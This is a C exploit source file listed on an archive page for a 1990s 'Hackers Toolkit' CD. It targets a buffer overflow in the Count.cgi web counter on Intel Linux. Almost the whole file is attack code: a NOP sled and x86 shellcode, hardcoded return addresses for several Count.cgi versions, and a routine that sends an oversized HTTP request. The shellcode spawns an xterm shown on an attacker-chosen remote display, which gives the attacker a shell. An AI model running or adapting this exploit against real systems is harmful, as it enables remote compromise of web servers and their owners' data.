home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit 2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / count_cgi_l.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-11-04  |  6.7 KB  |  247 lines

  1.  
  2. /* http://www.rootshell.com/ */
  3.  
  4. /*###############################################################
  5. #################################################################
  6. ##
  7. ##   count.cgi.l.c -  intel linux exploit for Count.cgi
  8. ##   Gus/97
  9. ##   Shell code and methodology from 'wwwcount.c' by 
  10. ##   Plaguez <dube0866@eurobretagne.fr>
  11. ##      
  12. ##
  13. */
  14.  
  15.  
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <getopt.h>
  19. #include <unistd.h>
  20. #include <sys/socket.h>
  21. #include <sys/types.h>
  22. #include <netinet/in.h>
  23. #include <netdb.h>
  24. #include <errno.h>
  25.  
  26.  
  27.  
  28. /* Forwards */
  29. unsigned long getsp(int);
  30. int usage(char *);
  31. void doit(char *,long, char *);
  32.  
  33. /* Constants */
  34. char shell[]=
  35. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  36. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  37. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  38. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  39. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  40. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  41. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  42. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  43. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  44. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  45. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  46. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  47. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  48. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  49. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  50. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  51. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  52. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  53. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  54. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  55. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  56. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  57. "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
  58. "\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
  59. "\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
  60. "\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
  61. "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
  62. "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
  63. "/usr/X11R6/bin/xterm0-ut0-display0";
  64. char endpad[]=
  65. "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
  66. "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
  67.  
  68.  
  69.  
  70. int main (int argc, char *argv[]){
  71.   char *shellcode = NULL;
  72.   int cnt,ver,retcount, dispnum,dotquads[4],offset;
  73.   unsigned long sp;
  74.   char dispname[255];
  75.   char *host;
  76.  
  77.   
  78.   offset = sp = cnt = ver = 0;
  79.   fprintf(stderr,"\t%s - Gus\n",argv[0]);
  80.   if (argc<3) usage(argv[0]);
  81.  
  82.   while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) {
  83.     switch(cnt){
  84.     case 'h':
  85.       host = optarg;
  86.       break;
  87.     case 'd':
  88.       {
  89.     retcount = sscanf(optarg, "%d.%d.%d.%d:%d", 
  90.               &dotquads[0],
  91.               &dotquads[1],
  92.               &dotquads[2],
  93.               &dotquads[3], &dispnum);
  94.     if (retcount != 5) usage(argv[0]);
  95.     sprintf(dispname, "%03d.%03d.%03d.%03d:%01d", 
  96.         dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
  97.     shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
  98.     sprintf(shellcode,"%s%s%s",shell,dispname,endpad);
  99.       }
  100.     break;
  101.     case 'v':
  102.       ver = atoi(optarg);
  103.       break;
  104.     case 'o':
  105.       offset = atoi(optarg);
  106.       break;
  107.     default:
  108.       usage(argv[0]);
  109.       break;
  110.     }
  111.   }
  112.   
  113.   sp = offset + getsp(ver);  
  114.  
  115.  
  116.   (void)doit(host,sp,shellcode);
  117.  
  118.   exit(0);
  119. }
  120.  
  121. unsigned long getsp(int ver) {
  122.  
  123.   /* Get the stack pointer we should be using. YMMV. If it does not work,
  124.      try using -o X, where x is between -1500 and 1500 */
  125.   unsigned long sp=0;
  126.   
  127.   if (ver == 15) sp = 0xbfffea50;
  128.   if (ver == 20) sp = 0xbfffea50;
  129.   if (ver == 22) sp = 0xbfffeab4;
  130.   if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */
  131.   if (sp == 0) {
  132.     fprintf(stderr,"I don't have an sp for that version try using the -o option.\n");
  133.     fprintf(stderr,"Versions above 24 are patched for this bug.\n");
  134.     exit(1);
  135.   } else {
  136.     return sp;
  137.   }
  138.  
  139. }
  140.  
  141.  
  142. int usage (char *name) {
  143.   fprintf(stderr,"\tUsage:%s -h host -d <display> -v <version> [-o <offset>]\n",name);
  144.   fprintf(stderr,"\te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22\n",name);
  145.   exit(1);
  146. }
  147.  
  148. int openhost (char *host, int port) {
  149.   
  150.   int sock; 
  151.   struct hostent *he;
  152.   struct sockaddr_in sa;
  153.  
  154.   he = gethostbyname(host);
  155.   if (he == NULL) {
  156.     perror("Bad hostname\n");
  157.     exit(-1);
  158.   }
  159.  
  160.   memcpy(&sa.sin_addr, he->h_addr, he->h_length);
  161.   
  162.   sa.sin_port=htons(port);
  163.   sa.sin_family=AF_INET;
  164.   sock=socket(AF_INET,SOCK_STREAM,0);
  165.   if (sock < 0) {
  166.     perror ("cannot open socket");
  167.     exit(-1);
  168.   }
  169.   bzero(&sa.sin_zero,sizeof (sa.sin_zero));
  170.  
  171.   if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) {
  172.     perror("cannot connect to host");
  173.     exit(-1);
  174.   }
  175.   
  176.   return(sock);
  177. }
  178.  
  179.  
  180. void doit (char *host,long sp, char *shellcode) {
  181.  
  182.   int cnt,sock;
  183.   char qs[7000];
  184.   int bufsize = 16;
  185.   char buf[bufsize];
  186.   char chain[] = "user=a";
  187.   
  188.   bzero(buf);
  189.     
  190.  
  191.   for(cnt=0;cnt<4104;cnt+=4) {
  192.     qs[cnt+0] = sp &  0x000000ff;
  193.     qs[cnt+1] = (sp & 0x0000ff00) >> 8;
  194.     qs[cnt+2] = (sp & 0x00ff0000) >> 16;
  195.     qs[cnt+3] = (sp & 0xff000000) >> 24;
  196.   }
  197.   strcpy(qs,chain);
  198.   qs[strlen(chain)]=0x90;
  199.  
  200.   qs[4104]= sp&0x000000ff;
  201.   qs[4105]=(sp&0x0000ff00)>>8;
  202.   qs[4106]=(sp&0x00ff0000)>>16;
  203.   qs[4107]=(sp&0xff000000)>>24;
  204.   qs[4108]= sp&0x000000ff;
  205.   qs[4109]=(sp&0x0000ff00)>>8;
  206.   qs[4110]=(sp&0x00ff0000)>>16;
  207.   qs[4111]=(sp&0xff000000)>>24;
  208.   qs[4112]= sp&0x000000ff;
  209.   qs[4113]=(sp&0x0000ff00)>>8;
  210.   qs[4114]=(sp&0x00ff0000)>>16;
  211.   qs[4115]=(sp&0xff000000)>>24;
  212.   qs[4116]= sp&0x000000ff;
  213.   qs[4117]=(sp&0x0000ff00)>>8;
  214.   qs[4118]=(sp&0x00ff0000)>>16;
  215.   qs[4119]=(sp&0xff000000)>>24;
  216.   qs[4120]= sp&0x000000ff;
  217.   qs[4121]=(sp&0x0000ff00)>>8;
  218.   qs[4122]=(sp&0x00ff0000)>>16;
  219.   qs[4123]=(sp&0xff000000)>>24;
  220.   qs[4124]= sp&0x000000ff;
  221.   qs[4125]=(sp&0x0000ff00)>>8;
  222.   qs[4126]=(sp&0x00ff0000)>>16;
  223.   qs[4127]=(sp&0xff000000)>>24;
  224.   qs[4128]= sp&0x000000ff;
  225.   qs[4129]=(sp&0x0000ff00)>>8;
  226.   qs[4130]=(sp&0x00ff0000)>>16;
  227.   qs[4131]=(sp&0xff000000)>>24;
  228.   strcpy((char*)&qs[4132],shellcode);
  229.  
  230.   sock = openhost(host,80);
  231.   write(sock,"GET /cgi-bin/Count.cgi?",23);
  232.   write(sock,qs,strlen(qs));
  233.   write(sock," HTTP/1.0\n",10);
  234.   write(sock,"User-Agent: ",12);
  235.   write(sock,qs,strlen(qs));
  236.   write(sock,"\n\n",2);
  237.   sleep(1);
  238.      
  239.   /* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",qs,qs); */
  240.  
  241.   /*
  242.   setenv("HTTP_USER_AGENT",qs,1); 
  243.   setenv("QUERY_STRING",qs,1);
  244.   system("./Count.cgi");
  245.   */
  246. }
  247.